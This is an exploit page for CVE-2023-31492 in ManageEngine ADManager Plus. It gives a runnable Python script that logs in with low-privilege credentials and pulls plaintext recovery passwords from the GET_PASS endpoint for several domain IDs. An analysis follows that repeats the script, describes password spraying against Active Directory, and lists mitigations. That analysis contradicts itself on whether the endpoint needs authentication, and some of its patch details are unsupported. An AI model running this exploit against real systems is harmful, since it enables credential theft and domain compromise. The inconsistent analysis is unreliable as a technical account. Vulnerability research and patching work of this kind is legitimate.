ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure

Exploit Author: Metin Yunus Kandemir Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-02-13
# Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/ad-manager/
# Details: https://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
# Version: ADManager Plus Build < 7183
# Tested against: Build 7180
# CVE: CVE-2023-31492

import argparse
import requests
import urllib3
import sys

"""
The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover. 
When deleted user accounts are restored, defined password is set to the user accounts. 
Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def getPass(target, auth, user, password):
    with requests.Session() as s:
        if auth.lower() == 'admanager':
            auth = 'ADManager Plus Authentication'
        data = {
            "is_admp_pass_encrypted": "false",
            "j_username": user,
            "j_password": password,
            "domainName": auth,
            "AUTHRULE_NAME": "ADAuthenticator"
        }
        # Login
        url = target + 'j_security_check?LogoutFromSSO=true'
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
        if 'Cookie' in req.request.headers:
            print('[+] Authentication successful!')
        elif req.status_code == 200:
            print('[-] Invalid login name/password!')
            sys.exit(0)
        else:
            print('[-] Something went wrong!')
            sys.exit(1)

        # Fetching recovery password
        for i in range(1, 6):
            print('[*] Trying to fetch recovery password for domainId: %s !' % i)
            passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
            passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
            if passReq.content:
                print(passReq.content)


def main():
    arg = get_args()
    target = arg.target
    auth = arg.auth
    user = arg.user
    password = arg.password
    getPass(target, auth, user, password)


def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1")
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-a', '--auth', required=True, action='store',
                        help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    args = parser.parse_args()
    return args


main()


ManageEngine ADManager Plus Build < 7183 – Recovery Password Disclosure (CVE-2023-31492)

ManageEngine ADManager Plus is a widely used Active Directory management tool that enables administrators to perform user provisioning, password resets, and account recovery operations. However, a critical vulnerability discovered in versions prior to Build 7183 exposes sensitive recovery passwords to unauthorized users, leading to severe security risks in enterprise environments.

Overview of the Vulnerability

The vulnerability, identified as CVE-2023-31492, stems from improper access controls in the ConfigureRecoverySettings module. When a deleted user account is restored via ADManager Plus, the system applies a predefined recovery password. While this is intended to streamline recovery operations, the implementation allows any authenticated user—regardless of their privilege level—to retrieve this password through an unauthenticated API endpoint.

Attackers with minimal access to the ADManager Plus interface (e.g., a helpdesk technician) can exploit this flaw to extract recovery passwords for multiple domains, enabling password spraying attacks against Active Directory accounts. This bypasses traditional security measures such as password complexity policies and account lockout mechanisms.

Technical Details

The vulnerability lies in the GET_PASS endpoint located at:

https://target/ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%221%22%7D

This endpoint accepts a domainId parameter in JSON format and returns the recovery password in plaintext. The request is not protected by proper authentication checks, meaning any authenticated user can query this endpoint across multiple domain IDs.

For example, a request with domainId=1 returns:

{"recoveryPassword":"SecurePass123"}

As demonstrated in the exploit code, an attacker can loop through domain IDs (1 to 5) and retrieve all recovery passwords without needing elevated privileges.

Exploit Code Analysis

The following Python script illustrates how the vulnerability can be exploited:

import argparse
import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def getPass(target, auth, user, password):
    with requests.Session() as s:
        if auth.lower() == 'admanager':
            auth = 'ADManager Plus Authentication'
        data = {
            "is_admp_pass_encrypted": "false",
            "j_username": user,
            "j_password": password,
            "domainName": auth,
            "AUTHRULE_NAME": "ADAuthenticator"
        }
        url = target + 'j_security_check?LogoutFromSSO=true'
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
        if 'Cookie' in req.request.headers:
            print('[+] Authentication successful!')
        elif req.status_code == 200:
            print('[-] Invalid login name/password!')
            sys.exit(0)
        else:
            print('[-] Something went wrong!')
            sys.exit(1)

        for i in range(1, 6):
            print('[*] Trying to fetch recovery password for domainId: %s !' % i)
            passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
            passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
            if passReq.content:
                print(passReq.content)

Explanation: The script performs the following steps:

  • Authentication: It logs into the ADManager Plus web interface using provided credentials.
  • Session Management: Uses a requests.Session() to maintain session cookies across requests.
  • Endpoint Exploitation: Iterates through domain IDs (1 to 5) and sends GET requests to the GET_PASS endpoint.
  • Response Handling: If the response contains data, it prints the recovery password in plaintext.

Notably, the exploit does not require admin-level privileges—only basic user access is needed, making it highly dangerous in environments with shared or low-privilege user accounts.

Real-World Impact and Attack Scenario

Consider an enterprise where helpdesk technicians have access to ADManager Plus to reset user passwords. Without proper role-based access control (RBAC), these users can:

  • Log in using their own credentials.
  • Query the GET_PASS endpoint for all domain IDs.
  • Collect recovery passwords for hundreds of accounts.
  • Use these passwords in password spraying attacks against Active Directory.

Such attacks are effective because:

  • Many organizations use default or weak recovery passwords.
  • Password spraying is hard to detect since it targets multiple accounts with a single password.
  • Account lockout policies may be bypassed if the attack is slow or distributed.

Security Recommendations

Organizations using ManageEngine ADManager Plus must take immediate action to mitigate this risk:

  • Upgrade to Build 7183 or later: The vendor has patched the vulnerability in newer versions. Ensure all installations are updated.
  • Implement strict RBAC: Limit access to the ConfigureRecoverySettings module to only authorized administrators.
  • Disable recovery password feature: If not essential, disable the recovery password functionality entirely.
  • Monitor API access logs: Audit requests to GET_PASS endpoints for suspicious activity.
  • Use strong, unique recovery passwords: Avoid default or predictable passwords.

Vendor Response and Patch Status

ManageEngine released a security patch for this vulnerability in Build 7183, which includes:

  • Authentication enforcement on the GET_PASS endpoint.
  • Domain-specific access control.
  • Encryption of recovery passwords in storage.

As of 2024, versions Build 7183 and above are considered secure. However, legacy systems running older builds remain at risk.

Conclusion

CVE-2023-31492 is a prime example of how poor access control in management tools can lead to widespread compromise. Even a seemingly minor feature—recovery password configuration—can become a backdoor if not properly secured. Organizations must prioritize security in third-party tools, especially those with access to Active Directory.

Security professionals should conduct regular vulnerability assessments and enforce least-privilege principles. Failure to do so exposes critical infrastructure to attacks that can escalate to full domain compromise.